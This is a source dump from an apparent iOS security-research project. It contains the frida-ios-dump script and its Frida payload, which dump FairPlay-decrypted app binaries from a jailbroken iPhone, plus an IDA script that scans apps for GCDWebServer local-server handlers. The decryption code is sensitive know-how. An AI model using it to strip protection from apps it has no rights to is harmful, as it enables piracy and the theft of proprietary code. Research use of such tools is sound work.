| 163 | def cmp_to_key(mycmp): 164 | """Convert a cmp= function into a key= function""" 165 | 166 | class K: 167 | def __init__(self, obj): 168 | self.obj = obj 169 | 170 | def __lt__(self, other): 171 | return mycmp(self.obj, other.obj) < 0 172 | 173 | def __gt__(self, other): 174 | return mycmp(self.obj, other.obj) > 0 175 | 176 | def __eq__(self, other): 177 | return mycmp(self.obj, other.obj) == 0 178 | 179 | def __le__(self, other): 180 | return mycmp(self.obj, other.obj) <= 0 181 | 182 | def __ge__(self, other): 183 | return mycmp(self.obj, other.obj) >= 0 184 | 185 | def __ne__(self, other): 186 | return mycmp(self.obj, other.obj) != 0 187 | 188 | return K 189 | 190 | 191 | def get_applications(device): 192 | try: 193 | applications = device.enumerate_applications() 194 | except Exception as e: 195 | sys.exit('Failed to enumerate applications: %s' % e) 196 | 197 | return applications 198 | 199 | 200 | def list_applications(device): 201 | applications = get_applications(device) 202 | 203 | if len(applications) > 0: 204 | pid_column_width = max(map(lambda app: len('{}'.format(app.pid)), applications)) 205 | name_column_width = max(map(lambda app: len(app.name), applications)) 206 | identifier_column_width = max(map(lambda app: len(app.identifier), applications)) 207 | else: 208 | pid_column_width = 0 209 | name_column_width = 0 210 | identifier_column_width = 0 211 | 212 | header_format = '%' + str(pid_column_width) + 's ' + '%-' + str(name_column_width) + 's ' + '%-' + str( 213 | identifier_column_width) + 's' 214 | print(header_format % ('PID', 'Name', 'Identifier')) 215 | print('%s %s %s' % (pid_column_width * '-', name_column_width * '-', identifier_column_width * '-')) 216 | line_format = '%' + str(pid_column_width) + 's ' + '%-' + str(name_column_width) + 's ' + '%-' + str( 217 | identifier_column_width) + 's' 218 | for application in sorted(applications, key=cmp_to_key(compare_applications)): 219 | if application.pid == 0: 220 | print(line_format % ('-', application.name, application.identifier)) 221 | else: 222 | print(line_format % (application.pid, application.name, application.identifier)) 223 | 224 | 225 | def load_js_file(session, filename): 226 | source = '' 227 | with codecs.open(filename, 'r', 'utf-8') as f: 228 | source = source + f.read() 229 | script = session.create_script(source) 230 | script.on('message', on_message) 231 | script.load() 232 | 233 | return script 234 | 235 | 236 | def create_dir(path): 237 | path = path.strip() 238 | path = path.rstrip('\\') 239 | if os.path.exists(path): 240 | shutil.rmtree(path) 241 | try: 242 | os.makedirs(path) 243 | except os.error as err: 244 | print(err) 245 | 246 | 247 | def open_target_app(device, name_or_bundleid): 248 | print('Start the target app {}'.format(name_or_bundleid)) 249 | 250 | pid = '' 251 | session = None 252 | display_name = '' 253 | bundle_identifier = '' 254 | for application in get_applications(device): 255 | if name_or_bundleid == application.identifier or name_or_bundleid == application.name: 256 | pid = application.pid 257 | display_name = application.name 258 | bundle_identifier = application.identifier 259 | 260 | try: 261 | if not pid: 262 | pid = device.spawn([bundle_identifier]) 263 | session = device.attach(pid) 264 | device.resume(pid) 265 | else: 266 | session = device.attach(pid) 267 | except Exception as e: 268 | print(e) 269 | 270 | return session, display_name, bundle_identifier 271 | 272 | 273 | def start_dump(session, ipa_name): 274 | print('Dumping {} to {}'.format(display_name, TEMP_DIR)) 275 | 276 | script = load_js_file(session, DUMP_JS) 277 | script.post('dump') 278 | finished.wait() 279 | 280 | generate_ipa(PAYLOAD_PATH, ipa_name) 281 | 282 | if session: 283 | session.detach() 284 | 285 | 286 | if __name__ == '__main__': 287 | parser = argparse.ArgumentParser(description='frida-ios-dump (by AloneMonkey v2.0)') 288 | parser.add_argument('-l', '--list', dest='list_applications', action='store_true', help='List the installed apps') 289 | parser.add_argument('-o', '--output', dest='output_ipa', help='Specify name of the decrypted IPA') 290 | parser.add_argument('-H', '--host', dest='ssh_host', help='Specify SSH hostname') 291 | parser.add_argument('-p', '--port', dest='ssh_port', help='Specify SSH port') 292 | parser.add_argument('-u', '--user', dest='ssh_user', help='Specify SSH username') 293 | parser.add_argument('-P', '--password', dest='ssh_password', help='Specify SSH password') 294 | parser.add_argument('target', nargs='?', help='Bundle identifier or display name of the target app') 295 | 296 | args = parser.parse_args() 297 | 298 | exit_code = 0 299 | ssh = None 300 | 301 | if not len(sys.argv[1:]): 302 | parser.print_help() 303 | sys.exit(exit_code) 304 | 305 | device = get_usb_iphone() 306 | 307 | if args.list_applications: 308 | list_applications(device) 309 | else: 310 | name_or_bundleid = args.target 311 | output_ipa = args.output_ipa 312 | # update ssh args 313 | if args.ssh_host: 314 | Host = args.ssh_host 315 | if args.ssh_port: 316 | Port = int(args.ssh_port) 317 | if args.ssh_user: 318 | User = args.ssh_user 319 | if args.ssh_password: 320 | Password = args.ssh_password 321 | 322 | try: 323 | ssh = paramiko.SSHClient() 324 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 325 | ssh.connect(Host, port=Port, username=User, password=Password) 326 | 327 | create_dir(PAYLOAD_PATH) 328 | (session, display_name, bundle_identifier) = open_target_app(device, name_or_bundleid) 329 | if output_ipa is None: 330 | output_ipa = display_name 331 | output_ipa = re.sub('\.ipa$', '', output_ipa) 332 | if session: 333 | start_dump(session, output_ipa) 334 | except paramiko.ssh_exception.NoValidConnectionsError as e: 335 | print(e) 336 | print('Try specifying -H/--hostname and/or -p/--port') 337 | exit_code = 1 338 | except paramiko.AuthenticationException as e: 339 | print(e) 340 | print('Try specifying -u/--username and/or -P/--password') 341 | exit_code = 1 342 | except Exception as e: 343 | print('*** Caught exception: %s: %s' % (e.__class__, e)) 344 | traceback.print_exc() 345 | exit_code = 1 346 | 347 | if ssh: 348 | ssh.close() 349 | 350 | if os.path.exists(PAYLOAD_PATH): 351 | shutil.rmtree(PAYLOAD_PATH) 352 | 353 | sys.exit(exit_code) 354 | -------------------------------------------------------------------------------- /Crawl&Decrypt/state-of-art-tool/dump.js: -------------------------------------------------------------------------------- 1 | Module.ensureInitialized('Foundation'); 2 | 3 | var O_RDONLY = 0; 4 | var O_WRONLY = 1; 5 | var O_RDWR = 2; 6 | var O_CREAT = 512; 7 | 8 | var SEEK_SET = 0; 9 | var SEEK_CUR = 1; 10 | var SEEK_END = 2; 11 | 12 | function allocStr(str) { 13 | return Memory.allocUtf8String(str); 14 | } 15 | 16 | function putStr(addr, str) { 17 | if (typeof addr == "number") { 18 | addr = ptr(addr); 19 | } 20 | return Memory.writeUtf8String(addr, str); 21 | } 22 | 23 | function getByteArr(addr, l) { 24 | if (typeof addr == "number") { 25 | addr = ptr(addr); 26 | } 27 | return Memory.readByteArray(addr, l); 28 | } 29 | 30 | function getU8(addr) { 31 | if (typeof addr == "number") { 32 | addr = ptr(addr); 33 | } 34 | return Memory.readU8(addr); 35 | } 36 | 37 | function putU8(addr, n) { 38 | if (typeof addr == "number") { 39 | addr = ptr(addr); 40 | } 41 | return Memory.writeU8(addr, n); 42 | } 43 | 44 | function getU16(addr) { 45 | if (typeof addr == "number") { 46 | addr = ptr(addr); 47 | } 48 | return Memory.readU16(addr); 49 | } 50 | 51 | function putU16(addr, n) { 52 | if (typeof addr == "number") { 53 | addr = ptr(addr); 54 | } 55 | return Memory.writeU16(addr, n); 56 | } 57 | 58 | function getU32(addr) { 59 | if (typeof addr == "number") { 60 | addr = ptr(addr); 61 | } 62 | return Memory.readU32(addr); 63 | } 64 | 65 | function putU32(addr, n) { 66 | if (typeof addr == "number") { 67 | addr = ptr(addr); 68 | } 69 | return Memory.writeU32(addr, n); 70 | } 71 | 72 | function getU64(addr) { 73 | if (typeof addr == "number") { 74 | addr = ptr(addr); 75 | } 76 | return Memory.readU64(addr); 77 | } 78 | 79 | function putU64(addr, n) { 80 | if (typeof addr == "number") { 81 | addr = ptr(addr); 82 | } 83 | return Memory.writeU64(addr, n); 84 | } 85 | 86 | function getPt(addr) { 87 | if (typeof addr == "number") { 88 | addr = ptr(addr); 89 | } 90 | return Memory.readPointer(addr); 91 | } 92 | 93 | function putPt(addr, n) { 94 | if (typeof addr == "number") { 95 | addr = ptr(addr); 96 | } 97 | if (typeof n == "number") { 98 | n = ptr(n); 99 | } 100 | return Memory.writePointer(addr, n); 101 | } 102 | 103 | function malloc(size) { 104 | return Memory.alloc(size); 105 | } 106 | 107 | function getExportFunction(type, name, ret, args) { 108 | var nptr; 109 | nptr = Module.findExportByName(null, name); 110 | if (nptr === null) { 111 | console.log("cannot find " + name); 112 | return null; 113 | } else { 114 | if (type === "f") { 115 | var funclet = new NativeFunction(nptr, ret, args); 116 | if (typeof funclet === "undefined") { 117 | console.log("parse error " + name); 118 | return null; 119 | } 120 | return funclet; 121 | } else if (type === "d") { 122 | var datalet = Memory.readPointer(nptr); 123 | if (typeof datalet === "undefined") { 124 | console.log("parse error " + name); 125 | return null; 126 | } 127 | return datalet; 128 | } 129 | } 130 | } 131 | 132 | var NSSearchPathForDirectoriesInDomains = getExportFunction("f", "NSSearchPathForDirectoriesInDomains", "pointer", ["int", "int", "int"]); 133 | var wrapper_open = getExportFunction("f", "open", "int", ["pointer", "int", "int"]); 134 | var read = getExportFunction("f", "read", "int", ["int", "pointer", "int"]); 135 | var write = getExportFunction("f", "write", "int", ["int", "pointer", "int"]); 136 | var lseek = getExportFunction("f", "lseek", "int64", ["int", "int64", "int"]); 137 | var close = getExportFunction("f", "close", "int", ["int"]); 138 | var remove = getExportFunction("f", "remove", "int", ["pointer"]); 139 | var access = getExportFunction("f", "access", "int", ["pointer", "int"]); 140 | var dlopen = getExportFunction("f", "dlopen", "pointer", ["pointer", "int"]); 141 | 142 | function getDocumentDir() { 143 | var NSDocumentDirectory = 9; 144 | var NSUserDomainMask = 1; 145 | var npdirs = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, 1); 146 | return ObjC.Object(npdirs).objectAtIndex_(0).toString(); 147 | } 148 | 149 | function open(pathname, flags, mode) { 150 | if (typeof pathname == "string") { 151 | pathname = allocStr(pathname); 152 | } 153 | return wrapper_open(pathname, flags, mode); 154 | } 155 | 156 | var modules = null; 157 | function getAllAppModules() { 158 | modules = new Array(); 159 | var tmpmods = Process.enumerateModulesSync(); 160 | for (var i = 0; i < tmpmods.length; i++) { 161 | if (tmpmods[i].path.indexOf(".app") != -1) { 162 | modules.push(tmpmods[i]); 163 | } 164 | } 165 | return modules; 166 | } 167 | 168 | var FAT_MAGIC = 0xcafebabe; 169 | var FAT_CIGAM = 0xbebafeca; 170 | var MH_MAGIC = 0xfeedface; 171 | var MH_CIGAM = 0xcefaedfe; 172 | var MH_MAGIC_64 = 0xfeedfacf; 173 | var MH_CIGAM_64 = 0xcffaedfe; 174 | var LC_SEGMENT = 0x1; 175 | var LC_SEGMENT_64 = 0x19; 176 | var LC_ENCRYPTION_INFO = 0x21; 177 | var LC_ENCRYPTION_INFO_64 = 0x2C; 178 | 179 | function pad(str, n) { 180 | return Array(n-str.length+1).join("0")+str; 181 | } 182 | 183 | function swap32(value) { 184 | value = pad(value.toString(16),8) 185 | var result = ""; 186 | for(var i = 0; i < value.length; i=i+2){ 187 | result += value.charAt(value.length - i - 2); 188 | result += value.charAt(value.length - i - 1); 189 | } 190 | return parseInt(result,16) 191 | } 192 | 193 | function dumpModule(name) { 194 | if (modules == null) { 195 | modules = getAllAppModules(); 196 | } 197 | 198 | var targetmod = null; 199 | for (var i = 0; i < modules.length; i++) { 200 | if (modules[i].path.indexOf(name) != -1) { 201 | targetmod = modules[i]; 202 | break; 203 | } 204 | } 205 | if (targetmod == null) { 206 | console.log("Cannot find module"); 207 | return; 208 | } 209 | var modbase = modules[i].base; 210 | var modsize = modules[i].size; 211 | var newmodname = modules[i].name; 212 | var newmodpath = getDocumentDir() + "/" + newmodname + ".fid"; 213 | var oldmodpath = modules[i].path; 214 | 215 | 216 | if(!access(allocStr(newmodpath),0)){ 217 | remove(allocStr(newmodpath)); 218 | } 219 | 220 | var fmodule = open(newmodpath, O_CREAT | O_RDWR, 0); 221 | var foldmodule = open(oldmodpath, O_RDONLY, 0); 222 | 223 | if (fmodule == -1 || foldmodule == -1) { 224 | console.log("Cannot open file" + newmodpath); 225 | return; 226 | } 227 | 228 | var is64bit = false; 229 | var size_of_mach_header = 0; 230 | var magic = getU32(modbase); 231 | var cur_cpu_type = getU32(modbase.add(4)); 232 | var cur_cpu_subtype = getU32(modbase.add(8)); 233 | if (magic == MH_MAGIC || magic == MH_CIGAM) { 234 | is64bit = false; 235 | size_of_mach_header = 28; 236 | }else if (magic == MH_MAGIC_64 || magic == MH_CIGAM_64) { 237 | is64bit = true; 238 | size_of_mach_header = 32; 239 | } 240 | 241 | var BUFSIZE = 4096; 242 | var buffer = malloc(BUFSIZE); 243 | 244 | read(foldmodule, buffer, BUFSIZE); 245 | 246 | var fileoffset = 0; 247 | var filesize = 0; 248 | magic = getU32(buffer); 249 | if(magic == FAT_CIGAM || magic == FAT_MAGIC){ 250 | var off = 4; 251 | var archs = swap32(getU32(buffer.add(off))); 252 | for (var i = 0; i < archs; i++) { 253 | var cputype = swap32(getU32(buffer.add(off + 4))); 254 | var cpusubtype = swap32(getU32(buffer.add(off + 8))); 255 | if(cur_cpu_type == cputype && cur_cpu_subtype == cpusubtype){ 256 | fileoffset = swap32(getU32(buffer.add(off + 12))); 257 | filesize = swap32(getU32(buffer.add(off + 16))); 258 | break; 259 | } 260 | off += 20; 261 | } 262 | 263 | if(fileoffset == 0 || filesize == 0) 264 | return; 265 | 266 | lseek(fmodule, 0, SEEK_SET); 267 | lseek(foldmodule, fileoffset, SEEK_SET); 268 | for(var i = 0; i < parseInt(filesize / BUFSIZE); i++) { 269 | read(foldmodule, buffer, BUFSIZE); 270 | write(fmodule, buffer, BUFSIZE); 271 | } 272 | if(filesize % BUFSIZE){ 273 | read(foldmodule, buffer, filesize % BUFSIZE); 274 | write(fmodule, buffer, filesize % BUFSIZE); 275 | } 276 | }else{ 277 | var readLen = 0; 278 | lseek(foldmodule, 0, SEEK_SET); 279 | lseek(fmodule, 0, SEEK_SET); 280 | while(readLen = read(foldmodule, buffer, BUFSIZE)) { 281 | write(fmodule, buffer, readLen); 282 | } 283 | } 284 | 285 | var ncmds = getU32(modbase.add(16)); 286 | var off = size_of_mach_header; 287 | var offset_cryptid = -1; 288 | var crypt_off = 0; 289 | var crypt_size = 0; 290 | var segments = []; 291 | for (var i = 0; i < ncmds; i++) { 292 | var cmd = getU32(modbase.add(off)); 293 | var cmdsize = getU32(modbase.add(off + 4)); 294 | if (cmd == LC_ENCRYPTION_INFO || cmd == LC_ENCRYPTION_INFO_64) { 295 | offset_cryptid = off + 16; 296 | crypt_off = getU32(modbase.add(off + 8)); 297 | crypt_size = getU32(modbase.add(off + 12)); 298 | } 299 | off += cmdsize; 300 | } 301 | 302 | if (offset_cryptid != -1) { 303 | var tpbuf = malloc(8); 304 | putU64(tpbuf, 0); 305 | lseek(fmodule, offset_cryptid, SEEK_SET); 306 | write(fmodule, tpbuf, 4); 307 | lseek(fmodule, crypt_off, SEEK_SET); 308 | write(fmodule, modbase.add(crypt_off), crypt_size); 309 | } 310 | 311 | close(fmodule); 312 | close(foldmodule); 313 | return newmodpath 314 | } 315 | 316 | function loadAllDynamicLibrary(app_path) { 317 | var defaultManager = ObjC.classes.NSFileManager.defaultManager(); 318 | var errorPtr = Memory.alloc(Process.pointerSize); 319 | Memory.writePointer(errorPtr, NULL); 320 | var filenames = defaultManager.contentsOfDirectoryAtPath_error_(app_path, errorPtr); 321 | for (var i = 0, l = filenames.count(); i < l; i++) { 322 | var file_name = filenames.objectAtIndex_(i); 323 | var file_path = app_path.stringByAppendingPathComponent_(file_name); 324 | if (file_name.hasSuffix_(".framework")) { 325 | var bundle = ObjC.classes.NSBundle.bundleWithPath_(file_path); 326 | if (bundle.isLoaded()) { 327 | console.log("[frida-ios-dump]: " + file_name + " has been loaded. "); 328 | } else { 329 | if (bundle.load()) { 330 | console.log("[frida-ios-dump]: Load " + file_name + " success. "); 331 | } else { 332 | console.log("[frida-ios-dump]: Load " + file_name + " failed. "); 333 | } 334 | } 335 | } else if (file_name.hasSuffix_(".bundle") || 336 | file_name.hasSuffix_(".momd") || 337 | file_name.hasSuffix_(".strings") || 338 | file_name.hasSuffix_(".appex") || 339 | file_name.hasSuffix_(".app") || 340 | file_name.hasSuffix_(".lproj") || 341 | file_name.hasSuffix_(".storyboardc")) { 342 | continue; 343 | } else { 344 | var isDirPtr = Memory.alloc(Process.pointerSize); 345 | Memory.writePointer(isDirPtr,NULL); 346 | defaultManager.fileExistsAtPath_isDirectory_(file_path, isDirPtr); 347 | if (Memory.readPointer(isDirPtr) == 1) { 348 | loadAllDynamicLibrary(file_path); 349 | } else { 350 | if (file_name.hasSuffix_(".dylib")) { 351 | var is_loaded = 0; 352 | for (var j = 0; j < modules.length; j++) { 353 | if (modules[j].path.indexOf(file_name) != -1) { 354 | is_loaded = 1; 355 | console.log("[frida-ios-dump]: " + file_name + " has been dlopen."); 356 | break; 357 | } 358 | } 359 | 360 | if (!is_loaded) { 361 | if (dlopen(allocStr(file_path.UTF8String()), 9)) { 362 | console.log("[frida-ios-dump]: dlopen " + file_name + " success. "); 363 | } else { 364 | console.log("[frida-ios-dump]: dlopen " + file_name + " failed. "); 365 | } 366 | } 367 | } 368 | } 369 | } 370 | } 371 | } 372 | 373 | function handleMessage(message) { 374 | modules = getAllAppModules(); 375 | var app_path = ObjC.classes.NSBundle.mainBundle().bundlePath(); 376 | loadAllDynamicLibrary(app_path); 377 | // start dump 378 | modules = getAllAppModules(); 379 | for (var i = 0; i < modules.length; i++) { 380 | console.log("start dump " + modules[i].path); 381 | var result = dumpModule(modules[i].path); 382 | send({ dump: result, path: modules[i].path}); 383 | } 384 | send({app: app_path.toString()}); 385 | send({done: "ok"}); 386 | recv(handleMessage); 387 | } 388 | 389 | recv(handleMessage); -------------------------------------------------------------------------------- /GCDWebServerStud/GCDWebServer_Analysis.idc: -------------------------------------------------------------------------------- 1 | // https://github.com/nil1666/IDC4Android 2 | 3 | #include 4 | 5 | //return obj_name or "" 6 | static search_inheritance_obj(obj_name, segm_name) 7 | { 8 | extern objPrefix; 9 | extern objGCDWebServer; 10 | extern objGCDWebDAVServer; 11 | extern objGCDWebUploader; 12 | 13 | auto ref_to_ea; 14 | auto stru_name; 15 | auto ea; 16 | 17 | ea = get_name_ea(0, obj_name); 18 | if(ea != BADADDR) 19 | { 20 | Message("search_super_obj: > 0x%x\n", ea); 21 | for(ref_to_ea = get_first_dref_to(ea); ref_to_ea != BADADDR; ref_to_ea = get_next_dref_to(ea, ref_to_ea)) 22 | { 23 | Message("search_super_obj: >> 0x%x\n", ref_to_ea); 24 | if(strstr(get_segm_name(ref_to_ea), segm_name) != -1) 25 | { 26 | Message("search_super_obj: >>> 0x%x\n", ref_to_ea); 27 | stru_name = get_name(ref_to_ea - 8); 28 | Message("search_super_obj: >>> %s\n", stru_name); 29 | 30 | if(strlen(stru_name) != 0 && isExpectedName(stru_name) == 1) 31 | { 32 | return substr(stru_name, strlen(objPrefix), -1); 33 | } 34 | } 35 | } 36 | } 37 | return substr(obj_name, strlen(objPrefix), -1); 38 | } 39 | 40 | static search_obj_ref(search_pattern, segm_name) 41 | { 42 | auto ref_to_ea; 43 | auto ref_to_ea1; 44 | 45 | auto ea; 46 | auto ea1; 47 | auto ea_tmp; 48 | 49 | auto func_name; 50 | 51 | ea = get_name_ea(0, search_pattern); 52 | if(ea == BADADDR) 53 | return -1; 54 | Message("search_obj_ref: > 0x%x\n", ea); 55 | 56 | ea_tmp = ea; 57 | ea = BADADDR; 58 | for(ref_to_ea = get_first_dref_to(ea_tmp); ref_to_ea != BADADDR; ref_to_ea = get_next_dref_to(ea_tmp, ref_to_ea)) 59 | { 60 | Message("search_obj_ref: >> 0x%x\n", ref_to_ea); 61 | if(strstr(get_segm_name(ref_to_ea), segm_name) != -1) 62 | { 63 | Message("search_obj_ref: >>> 0x%x\n", ref_to_ea); 64 | ea = ref_to_ea; 65 | } 66 | } 67 | if(ea == BADADDR) 68 | return -1; 69 | Message("search_obj_ref: > 0x%x\n", ea); 70 | 71 | ea_tmp = ea; 72 | for(ref_to_ea = get_first_dref_to(ea_tmp); ref_to_ea != BADADDR; ref_to_ea = get_next_dref_to(ea_tmp, ref_to_ea)) 73 | { 74 | Message("search_obj_ref: >> 0x%x\n", ref_to_ea); 75 | if(get_segm_name(ref_to_ea) == "__text") 76 | { 77 | func_name = get_func_name(ref_to_ea); 78 | Message("search_obj_ref: >>> %s\n", func_name); 79 | if(isExpectedName(func_name) == 1) 80 | return 1; 81 | } 82 | } 83 | return -1; 84 | } 85 | 86 | 87 | static search_method_ref(search_pattern, segm_name) 88 | { 89 | auto ref_to_ea; 90 | auto ref_to_ea1; 91 | 92 | auto ea; 93 | auto ea1; 94 | auto ea_tmp; 95 | 96 | auto func_name; 97 | 98 | ea = find_binary(0, SEARCH_DOWN | SEARCH_NEXT | SEARCH_CASE, search_pattern); 99 | if(ea == BADADDR) 100 | return -1; 101 | Message("search_method_ref: > 0x%x\n", ea); 102 | 103 | ea_tmp = ea; 104 | ea = BADADDR; 105 | for(ref_to_ea = get_first_dref_to(ea_tmp); ref_to_ea != BADADDR; ref_to_ea = get_next_dref_to(ea_tmp, ref_to_ea)) 106 | { 107 | Message("search_method_ref: >> 0x%x\n", ref_to_ea); 108 | if(strstr(get_segm_name(ref_to_ea), segm_name) != -1) 109 | { 110 | Message("search_method_ref: >>> 0x%x\n", ref_to_ea); 111 | ea = ref_to_ea; 112 | } 113 | } 114 | if(ea == BADADDR) 115 | return -1; 116 | Message("search_method_ref: > 0x%x\n", ea); 117 | 118 | ea_tmp = ea; 119 | for(ref_to_ea = get_first_dref_to(ea_tmp); ref_to_ea != BADADDR; ref_to_ea = get_next_dref_to(ea_tmp, ref_to_ea)) 120 | { 121 | Message("search_method_ref: >> 0x%x\n", ref_to_ea); 122 | if(get_segm_name(ref_to_ea) == "__text") 123 | { 124 | func_name = get_func_name(ref_to_ea); 125 | Message("search_method_ref: >>> %s\n", func_name); 126 | if(isExpectedName(func_name) == 1) 127 | return 1; 128 | } 129 | } 130 | return -1; 131 | } 132 | 133 | 134 | static search_str_ref(search_pattern, segm_name) 135 | { 136 | auto ref_to_ea; 137 | auto ref_to_ea1; 138 | 139 | auto ea; 140 | auto ea1; 141 | auto ea_tmp; 142 | 143 | auto func_name; 144 | 145 | ea = find_binary(0, SEARCH_DOWN | SEARCH_NEXT | SEARCH_CASE, search_pattern); 146 | if(ea == BADADDR) 147 | return -1; 148 | Message("search_str_ref: > 0x%x\n", ea); 149 | 150 | ea_tmp = ea; 151 | ea = BADADDR; 152 | for(ref_to_ea = get_first_dref_to(ea_tmp); ref_to_ea != BADADDR; ref_to_ea = get_next_dref_to(ea_tmp, ref_to_ea)) 153 | { 154 | Message("search_str_ref: >> 0x%x\n", ref_to_ea); 155 | if(strstr(get_segm_name(ref_to_ea), segm_name) != -1) 156 | { 157 | Message("search_str_ref: >>> 0x%x\n", ref_to_ea); 158 | ea = ref_to_ea; 159 | } 160 | } 161 | if(ea == BADADDR) 162 | return -1; 163 | Message("search_str_ref: > 0x%x\n", ea); 164 | 165 | ea_tmp = ea; 166 | for(ref_to_ea = get_first_dref_to(ea_tmp); ref_to_ea != BADADDR; ref_to_ea = get_next_dref_to(ea_tmp, ref_to_ea)) 167 | { 168 | Message("search_str_ref: >> 0x%x\n", ref_to_ea); 169 | if(get_segm_name(ref_to_ea) == "__text") 170 | { 171 | func_name = get_func_name(ref_to_ea); 172 | Message("search_str_ref: >>> %s\n", func_name); 173 | if(isExpectedName(func_name) == 1) 174 | return 1; 175 | } 176 | else if(get_segm_name(ref_to_ea) == "__const") // deal with NSString const * MyStr1 = GCDWebServerOption_BindToLocalhost; 177 | { 178 | for(ref_to_ea1 = get_first_dref_to(ref_to_ea); ref_to_ea1 != BADADDR; ref_to_ea1 = get_next_dref_to(ref_to_ea, ref_to_ea1)) 179 | { 180 | Message("search_str_ref: >>> 0x%x\n", ref_to_ea1); 181 | if(get_segm_name(ref_to_ea1) == "__text") 182 | { 183 | func_name = get_func_name(ref_to_ea1); 184 | Message("search_str_ref: >>>> %s\n", func_name); 185 | if(isExpectedName(func_name) == 1) 186 | return 1; 187 | } 188 | } 189 | } 190 | } 191 | return -1; 192 | } 193 | 194 | static isExpectedName(func_name) 195 | { 196 | extern objGCDWebServer; 197 | //extern objGCDWebServerOrInheritance; 198 | extern objGCDWebDAVServer; 199 | //extern objGCDWebDAVServerOrInheritance; 200 | extern objGCDWebUploader; 201 | //extern objGCDWebUploaderOrInheritance; 202 | 203 | 204 | if(strstr(func_name, objGCDWebServer) != -1) return -1; 205 | if(strstr(func_name, objGCDWebDAVServer) != -1) return -1; 206 | if(strstr(func_name, objGCDWebUploader) != -1) return -1; 207 | //if(strstr(func_name, objGCDWebServerOrInheritance) != -1) return -1; 208 | //if(strstr(func_name, objGCDWebDAVServerOrInheritance) != -1) return -1; 209 | //if(strstr(func_name, objGCDWebUploaderOrInheritance) != -1) return -1; 210 | 211 | return 1; 212 | } 213 | 214 | 215 | static main() 216 | { 217 | //http://www.bejson.com/convert/ox2str/ 218 | //https://www.hex-rays.com/products/ida/debugger/scriptable.shtml 219 | //https://www.hex-rays.com/products/ida/support/idadoc/162.shtml 220 | 221 | auto logfile = fopen("/Users/demo/Desktop/vetting_ios_app_local_server/code/poc/GCDWebServerStud/log.txt", "a+"); 222 | 223 | auto addDefaultHandlerForMethod = 0; 224 | auto addDefaultHandlerForMethod_async = 0; 225 | auto addHandlerForMethod = 0; 226 | auto addHandlerForMethod_reg = 0; 227 | 228 | auto startWithOptions = 0; 229 | auto BindToLocalhost = 0; 230 | auto isObfuscated = 0; 231 | 232 | extern objGCDWebServer; 233 | objGCDWebServer = "GCDWebServer"; 234 | extern objGCDWebServerOrInheritance; 235 | auto isGCDWebServerOrInheritanceLive = 0; 236 | 237 | extern objGCDWebDAVServer; 238 | objGCDWebDAVServer = "GCDWebDAVServer"; 239 | extern objGCDWebDAVServerOrInheritance; 240 | auto isGCDWebDAVServerOrInheritanceLive = 0; 241 | 242 | extern objGCDWebUploader; 243 | objGCDWebUploader = "GCDWebUploader"; 244 | extern objGCDWebUploaderOrInheritance; 245 | auto isGCDWebUploaderOrInheritanceLive = 0; 246 | 247 | extern objPrefix; 248 | objPrefix = "_OBJC_CLASS_$_"; 249 | 250 | //https://www.hex-rays.com/products/ida/7.2/the_mac_rundown/the_mac_rundown.shtml 251 | load_and_run_plugin("objc", 1); 252 | auto_wait(); 253 | 254 | //find inheritance firstly, this will init other global variable 255 | objGCDWebServerOrInheritance = search_inheritance_obj(objPrefix + objGCDWebServer, "__objc_data"); 256 | objGCDWebDAVServerOrInheritance = search_inheritance_obj(objPrefix + objGCDWebDAVServer, "__objc_data"); 257 | objGCDWebUploaderOrInheritance = search_inheritance_obj(objPrefix + objGCDWebUploader, "__objc_data"); 258 | 259 | Message("main: %s, %s, %s", objGCDWebServerOrInheritance, objGCDWebDAVServerOrInheritance, objGCDWebUploaderOrInheritance); 260 | 261 | 262 | //search ref to "addDefaultHandlerForMethod:requestClass:processBlock:" 263 | auto search_pattern1 = "61 64 64 44 65 66 61 75 6c 74 48 61 6e 64 6c 65 72 46 6f 72 4d 65 74 68 6f 64 3a 72 65 71 75 65 73 74 43 6c 61 73 73 3a 70 72 6f 63 65 73 73 42 6c 6f 63 6b 3a"; 264 | if (search_method_ref(search_pattern1, "__objc_selrefs") == 1) 265 | { 266 | addDefaultHandlerForMethod = 1; 267 | Message("main: addDefaultHandlerForMethod handlers found!\n"); 268 | } 269 | 270 | //search ref to "addDefaultHandlerForMethod:requestClass:asyncProcessBlock:" 271 | auto search_pattern2 = "61 64 64 44 65 66 61 75 6c 74 48 61 6e 64 6c 65 72 46 6f 72 4d 65 74 68 6f 64 3a 72 65 71 75 65 73 74 43 6c 61 73 73 3a 61 73 79 6e 63 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a"; 272 | if (search_method_ref(search_pattern2, "__objc_selrefs") == 1) 273 | { 274 | addDefaultHandlerForMethod_async = 1; 275 | Message("main: addDefaultHandlerForMethod_async handlers found!\n"); 276 | } 277 | 278 | //search ref to "addHandlerForMethod:path:requestClass:processBlock:" 279 | auto search_pattern3 = "61 64 64 48 61 6e 64 6c 65 72 46 6f 72 4d 65 74 68 6f 64 3a 70 61 74 68 3a 72 65 71 75 65 73 74 43 6c 61 73 73 3a 70 72 6f 63 65 73 73 42 6c 6f 63 6b 3a"; 280 | if (search_method_ref(search_pattern3, "__objc_selrefs") == 1) 281 | { 282 | addHandlerForMethod = 1; 283 | Message("main: addHandlerForMethod handlers found!\n"); 284 | } 285 | 286 | //search ref to "addHandlerForMethod:pathRegex:requestClass:processBlock:" 287 | auto search_pattern4 = "61 64 64 48 61 6e 64 6c 65 72 46 6f 72 4d 65 74 68 6f 64 3a 70 61 74 68 52 65 67 65 78 3a 72 65 71 75 65 73 74 43 6c 61 73 73 3a 70 72 6f 63 65 73 73 42 6c 6f 63 6b 3a"; 288 | if (search_method_ref(search_pattern4, "__objc_selrefs") == 1) 289 | { 290 | addHandlerForMethod_reg = 1; 291 | Message("main: addHandlerForMethod_reg handlers found!\n"); 292 | } 293 | 294 | //search ref to "startWithOptions:error:" 295 | auto search_pattern5 = "73 74 61 72 74 57 69 74 68 4f 70 74 69 6f 6e 73 3a 65 72 72 6f 72 3a"; 296 | if (search_method_ref(search_pattern5, "__objc_selrefs") == 1) 297 | { 298 | startWithOptions = 1; 299 | Message("main: startWithOptions found!\n"); 300 | } 301 | 302 | //search ref to (cstring)"BindToLocalhost" 303 | auto search_BindToLocalhost = "42 69 6e 64 54 6f 4c 6f 63 61 6c 68 6f 73 74"; 304 | if (search_str_ref(search_BindToLocalhost, "__cfstring") == 1) 305 | { 306 | BindToLocalhost = 1; 307 | Message("main: BindToLocalhost found!\n"); 308 | } 309 | 310 | 